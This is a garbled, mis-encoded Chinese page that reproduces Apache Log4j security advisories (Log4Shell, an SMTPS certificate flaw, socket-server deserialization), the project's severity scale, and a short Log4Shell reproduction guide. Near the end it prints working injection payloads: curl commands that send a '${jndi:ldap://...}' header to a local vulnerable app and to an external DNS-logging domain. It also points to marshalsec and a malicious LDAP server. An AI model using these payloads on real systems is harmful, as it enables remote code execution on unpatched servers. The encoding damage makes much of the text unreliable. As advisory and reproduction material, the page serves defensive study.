|
已在 Log4j 2.15.0 中修復(fù) 嚴(yán)重性：嚴(yán)重 基礎(chǔ) CVSS 分?jǐn)?shù)：10.0 CVSS：3.0 / AV：N/ AC：L / PR：N / UI：N / S：C / C：H / I：H / A：H 受影響的版本：從2.0-beta9 到 2.14.1 的所有版本 描述：Apache Log4j2<=2.14.1 在配置、日志消息和參數(shù)中使用的 JNDI 功能不能防止攻擊者控制的 LDAP 和其他 JNDI 相關(guān)端點(diǎn)。當(dāng)啟用消息查找替換時(shí)，可以控制日志消息或日志消息參數(shù)的攻擊者可以執(zhí)行從 LDAP 服務(wù)器加載的任意代碼。從 log4j 2.15.0 開始，默認(rèn)情況下已禁用此行為。 緩解：在釋放> =2.10，這種行為可以通過設(shè)定任一減輕系統(tǒng)屬性log4j2.formatMsgNoLookups或環(huán)境變量LOG4J_FORMAT_MSG_NO_LOOKUPS來true。對(duì)于從2.0到beta9 2.10.0版本中，緩解是去除JndiLookup從類路徑類：zip -q -d log4j-core-*.jarorg/apache/logging/log4j/core/lookup/JndiLookup.class。 Credit: 這個(gè)問題是由阿里云安全團(tuán)隊(duì)的陳兆軍發(fā)現(xiàn)的。 已在 Log4j 2.13.2 中修復(fù) 嚴(yán)重性：低 CVSS 基礎(chǔ)分?jǐn)?shù)：3.7（低）CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N 受影響的版本：從2.0-alpha1 到 2.13.1 的所有版本 描述：Log4j2 SMTPappender 中主機(jī)不匹配的證書驗(yàn)證不正確。這可能允許 SMTPS 連接被中間人攻擊攔截，這可能會(huì)泄漏通過該附加程序發(fā)送的任何日志消息。 報(bào)告的問題是由SslConfiguration 中的錯(cuò)誤引起的。Log4j 配置中使用 SslConfiguration 的任何元素也受此問題影響。這包括HttpAppender、SocketAppender 和SyslogAppender。通過系統(tǒng)屬性配置的 SslConfiguration 的使用不受影響。 緩解措施：用戶應(yīng)該升級(jí)到Apache Log4j 2.13.2，它通過為 SMTPS 郵件會(huì)話配置 SSL 設(shè)置來修復(fù) LOG4J2-2819 中的這個(gè)問題。作為以前版本的變通方法，用戶可以將 mail.smtp.ssl.checkserveridentity 系統(tǒng)屬性設(shè)置為true，以便為所有 SMTPS 郵件會(huì)話啟用 SMTPS 主機(jī)名驗(yàn)證。 信用：這個(gè)問題是由 PeterSt?ckli 發(fā)現(xiàn)的。 已在 Log4j 2.8.2 中修復(fù) 嚴(yán)重程度：中等 CVSS 基礎(chǔ)分?jǐn)?shù)：7.5（AV：N / AC：L / Au：N / C：P / I：P / A：P） 受影響的版本：從2.0-alpha1 到 2.8.1 的所有版本 描述：當(dāng)使用 TCP 套接字服務(wù)器或 UDP 套接字服務(wù)器從另一個(gè)應(yīng)用程序接收序列化日志事件時(shí)，可以發(fā)送特制的二進(jìn)制負(fù)載，反序列化后可以執(zhí)行任意代碼。 緩解措施：Java 7+ 用戶應(yīng)遷移到 2.8.2 版或避免使用套接字服務(wù)器類。Java 6 用戶應(yīng)避免使用 TCP 或 UDP 套接字服務(wù)器類，或者他們可以從 2.8.2 手動(dòng)向后移植安全修復(fù)程序：https://github.com/apache/logging-log4j2/commit/5dcc192 信用：這個(gè)問題是由Telstra 紅隊(duì)的 Marcio Almeida de Macedo 發(fā)現(xiàn)的 參考資料：https://issues./jira/browse/LOG4J2-1863 Apache Log4j 的安全影響級(jí)別總結(jié) Apache Log4j 安全團(tuán)隊(duì)對(duì)影響 Log4j 的每個(gè)安全漏洞的影響進(jìn)行評(píng)級(jí)。為了保持一致，我們選擇了與其他主要供應(yīng)商使用的評(píng)分標(biāo)準(zhǔn)非常相似的評(píng)分標(biāo)準(zhǔn)。基本上，評(píng)級(jí)系統(tǒng)的目標(biāo)是回答“我應(yīng)該對(duì)這個(gè)漏洞有多擔(dān)心？”的問題。 請(qǐng)注意，為每個(gè)缺陷選擇的評(píng)級(jí)是所有架構(gòu)中可能出現(xiàn)的最壞情況。要確定特定漏洞對(duì)您自己系統(tǒng)的確切影響，您仍需要閱讀安全公告以了解有關(guān)該缺陷的更多信息。 我們使用以下描述來決定對(duì)每個(gè)漏洞的影響評(píng)級(jí)： 危急 被評(píng)為嚴(yán)重影響的漏洞可能會(huì)被遠(yuǎn)程攻擊者利用來讓 Log4j 執(zhí)行任意代碼（以服務(wù)器運(yùn)行的用戶身份或 root 身份）。這些是蠕蟲可以自動(dòng)利用的漏洞類型。 重要的 評(píng)級(jí)為重要影響的漏洞是一種可能導(dǎo)致數(shù)據(jù)或服務(wù)器可用性受損的漏洞。對(duì)于 Log4j，這包括允許輕松遠(yuǎn)程拒絕服務(wù)（與攻擊不成比例或具有持久后果的事情）、訪問上下文根之外的任意文件或訪問本應(yīng)通過其他方式阻止的文件的問題限制或認(rèn)證。 緩和 如果有顯著的緩解措施可以減少問題的影響，則漏洞可能被評(píng)為中等。這可能是因?yàn)樵撊毕莶挥绊懣赡艿呐渲?，或者它是一個(gè)沒有被廣泛使用的配置。 低的 所有其他安全漏洞都被歸類為低影響。此評(píng)級(jí)用于被認(rèn)為極難利用的問題，或者利用漏洞造成的后果最小的問題。 如何利用工程利用需求
例如漏洞的代碼import org.apache.logging.log4j.LogManager;本地再現(xiàn)如果想本地復(fù)現(xiàn)這個(gè)漏洞，可以參考christophetd的漏洞app。 在終端運(yùn)行中： docker run -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app在另一個(gè)： curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://127.0.0.1/a}'日志應(yīng)包含一條錯(cuò)誤消息，表明已嘗試進(jìn)行遠(yuǎn)程查找但失?。?/span> 2021-12-10 17:14:56,207 http-nio-8080-exec-1 WARN Error looking up JNDI resource [ldap://127.0.0.1/a]. javax.naming.CommunicationException: 127.0.0.1:389 [Root exception is java.net.ConnectException: Connection refused (Connection refused)]利用步驟
由于此類 Java 漏洞非常常見，安全研究人員已經(jīng)創(chuàng)建了工具來輕松利用它們。該marshalsec項(xiàng)目是一個(gè)說明產(chǎn)生漏洞的有效載荷，可用于針對(duì)該漏洞的一處。您可以參考此惡意 LDAP 服務(wù)器以獲取漏洞利用示例。 如何識(shí)別，如果你的服務(wù)器是脆弱的。使用 DNS 記錄器（例如dnslog.cn），您可以生成一個(gè)域名并在您的測(cè)試負(fù)載中使用它： curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://xxx.dnslog.cn/a}'刷新頁面將顯示 DNS 查詢，這些查詢標(biāo)識(shí)了觸發(fā)漏洞的主機(jī)。 來源：https://logging./ |
|
|
